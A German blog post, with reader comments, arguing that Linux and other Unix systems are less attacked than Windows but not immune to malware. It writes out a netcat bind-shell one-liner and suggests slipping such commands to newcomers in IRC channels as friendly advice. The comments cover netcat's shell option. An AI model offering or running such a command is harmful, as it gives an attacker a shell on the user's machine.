Das Gerücht unter $OS gäb es keine Viren/Würmer ist schon einige Jahre alt. Spätestens seit Kristian über foobar berichtet hat, fühle ich mich verpflichtet auch mal meinen Senf dazu abzugeben. Doch bevor ich beginne möchte ich zwei generelle Sachen erläutern: Zum einen finde ich den Begriff Virus schlecht gewählt. Ein Virus verbreitet sich in der Regel selbstständig und das trifft ja nicht auf jedes unerwünschte Programm zu. Malware ist also der Begriff den ich verwenden will. (Malware :: Kunstwort aus Malicious (boshaft) und Software) Die zweite Anmerkung ist nur der Hinweis, dass alles was ich im Folgenden beschreiben werde, auf grundsätzlich jedes Unix System zutrifft. (Das beliebte MacOS X und *BSD inbegriffen) Aber zur Sache:
Linux ist ein Mehrbenutzer System. Der normale Benutzer (der, der das Mailprogramm benutzt und das Opfer einer Malware Attacke ist) hat nicht die vollen Rechte auf dem System. Jede Malware die sich der Benutzer einfängt, fängt sich nur dieser eine Benutzer ein. Der Autor der Malware kann also nur mit den Daten dieses Benutzer etwas “böses” anstellen. Er hat also nur diesen einen Benutzer ge0wnt (wie es in der Fachsprache heißt. – Kleiner Witz ;-) Und hat, in Folge dessen, auch nur Rechenzeit wenn dieser Benutzer am System angemeldet ist. Es ist zwar ärgerlich, wenn ein Fremder Zugriff auf die privaten Daten erhält,aber davon das Linux System wirklich übernommen zu haben ist der Bösewicht noch weit entfernt. Die unter Windows übliche Neuinstallation des Betriebssystems ist also unnötig.
Das gesagt möchte ich jetzt zu Angriffs Methoden kommen. Klar ist es Möglich das Vertrauen des Anwenders zu erlangen und ihn dazu zu bringen einen Befehl oder ein Script auszuführen. Ob man das ganze jetzt in *.desktop Datein versteckt oder dem Anwender irgendwie anders Scripte unterschiebt ist egal. (Eine fiese, aber bestimmt wirkungsvolle Methode: In alle möglichen IRC Channels in denen sich Linux Newbies befinden joinen und auf irgendwelche Fragen mit “netten”, einzeiligen Kommandos antworten) Fies ist zB das hier: nc -l -p44444 -c/bin/sh& Führt das Opfer/der Anwender diesen unscheinbaren Befehl als Root (oder als Benutzer) aus, hat der Angreifer mit nc $IP-DES-OPFERS 44444 eine komplette Shell. (Im Zweifelsfalle sogar mit Root Rechten) Für den Fall das sich das Opfer hinter einer NAT befindet kann man sich mit netcat (nc) auch aktiv zum Angreifer verbinden. Allerdings steht dann die IP bzw der Hostname des Angreifers im Aufruf. Doch wer bedenkenlos Scripte ausführt dem fällt auch das möglicherweise nicht auf.
Wie dem auch sei: Nehmen wir einmal das Beste an und hoffen, dass kein Benutzer so dumm ist, und irgendwelche Scripte, *.desktop Dateien oder sonst etwas aktiv auszuführen. Trotzdem bleibt immer noch ein anderer Weg: Es gibt da draußen soviel unsichere Software und soviele ungepatchte Systeme. Wenn jemand wirklich bei einem oder mehreren Anwendern Code zur Ausführung bringen will, dann gewinnt er nicht vorher das Vertrauen der Person/en sondern benutzt einfach einen der zahlreichen Exploits die in lokalen Anwendungen Code zum Ausführen bringen. Die Meisten Anwender öffnen lieber ein Video, ein Bild oder ein Office Dokument statt irgendwelche Dubiosen Scripte laufen zu lassen. Und ich rede hier nicht von dem klassischen *.jpeg.exe, das darauf beruht, dass Windows die *.exe ausblendet, sondern ich rede von richtigen Bildern, Videos und Dokumenten die neben dem Inhalt auch noch Malware mitbringen. Von diesen local Exploits gibt es jede Menge. Und wenn wir schonmal beim Thema Exploit sind: Warum den Aufwand betreiben und E-Mails zu schicken und auf die Aktion des Anwenders hoffen? Es gibt mindestens genauso viel remote Exploits.
Fazit
Wenn ich eine große Menge von Unix Boxen infizieren wollte, dann würde ich nicht mit irgendwelchen Shell Scripten kommen und hoffen, dass irgendwer dumm genug ist. Ich würde einfach auf den nächsten großen Exploit in OpenOffice, Mplayer oder der libpng/libjpeg warten. Warum hat das bisher noch niemand gemacht? Ganz einfach: Weil es wesentlich leichter ist auf die 90% Windows Benutzer abzuzielen als auf die paar Prozent Unix User. Wenn es einen Exploit im Windows Media Player gibt dann hab ich als Böser Bube eine höhere Chance Opfer zu finden als mit einem Exploit in xine. Denn mit dem Exploit in xine greife ich noch nicht einmal alle Linux Benutzer an, sondern nur die, die xine benutzen. – Nicht die, die gstreamer, mplayer oder vlc benutzen. Die Software Landschaft unter Linux ist einfach deutlich inhomogener als die unter Windows – und das innerhalb eines sowieso schon sehr kleinen Marktanteils. Außerdem: Exploits sind in Maschinen Sprache geschrieben und die unterschiedet sich innerhalb von Unix Systemen. So würde zB ein x86 Exploit auf einem ppc, sparc oder amd64 System nicht laufen. Linux System sind nicht Malware frei sondern nur deutlich unbequemer zu attakieren als die Windows Masse da draussen. Hoffen wir also das Windows ein Monopol bleibt und die ganzen Attaken auf sich zieht.






> Jede Malware die sich der Benutzer einfängt, fängt sich nur > dieser eine Benutzer ein. Der Autor der Malware kann also > nur mit den Daten dieses Benutzer etwas “böses” anstellen. Oder der Angreifer nutzt den Benutzeraccout für weitergehende Anfriffe auf interne Systeme, die er selbst nicht erreichen könnte. Die Malware könnte auch die Funktionalität enthalten, den Rechner in ein Bot-Netz aufzunehmen, und für Spam Versand oder Angriffe auf andere Systeme im Internet zu missbrauchen. Es sind also nicht nur die Daten des betroffenen Benutzers in Gefahr. > Und hat, in Folge dessen, auch nur Rechenzeit wenn > dieser… Mehr »
>> nc -l -p66666 -c/bin/sh&
> Nur der Vollständigkeit halber: Port 66666 gibt es natürlich nicht.
Du hast natürlich vollkommen recht. Das ist mir in der Eile entgangen. Ports gehen natürlich nur bis 65k.
Doch mag mir jemand erklären warum das Beispiel auf meinem localhost trotzdem funktioniert hat? Siehe Screenshot im Titelbild. Ist den Unix Sockets das egal sollang die kein TCP nach draußen sprechen müssen oder wie?
> Doch mag mir jemand erklären warum das Beispiel auf > meinem localhost trotzdem funktioniert hat? nc bindet sich an Port 1130 (= 66666 modulo 2^16). Welche Distribution hast Du denn verwendet? Ich hab das gerade unter CentOS 5.2 ausprobiert, da gibt es ger nicht die Möglichkeit, stdout und stdin an eine Shell (oder ein anderes Programm zu knüpfen). In der man page von CentOS 4 steht noch drin, dass es diese Funtionalität nur gibt, wenn “nc” mit der Option GAPING_SECURITY_HOLE kompiliert wurde. > Siehe Screenshot im Titelbild. Ist den Unix Sockets das egal > sollang die kein TCP nach… Mehr »
Port 1130 also… mhhh wieso kann der nicht einfach fehlermeldungen schmeißen statt % 2^16 zu machen? Naja egal. Wieder was gelernt.
Interessant. Ich habs ursprünglich unter Gentoo getestet und gerade auch nochmal ssh auf meinen Debian Server gemacht. Es geht auf beiden. Welche Version benutzt CentOS denn? Auf Gentoo hab ich netcat 110 allerding mit nem Gentoo Patch von dem ich nicht weiß was er macht. Btw: es gibt auch nocht gnu-netcat aber bei dem gibt es auch -e und -c.
> Welche Version benutzt CentOS denn?
Red Hat (und Fedora und CentOS) verwenden mittlerweile wohl die nc Implementierung von OpenBSD (vermutlich weil die IPv6 fähig ist).
Laut Kommentar im CVS ist -e in der Version seit 2001entfernt:
> Fri May 4 01:38:31 2001 UTC (7 years, 9 months ago) by millert
> GAPING_SECURITY_HOLE was removed so there is no -e option.
> Removed from man page and usage;
Harald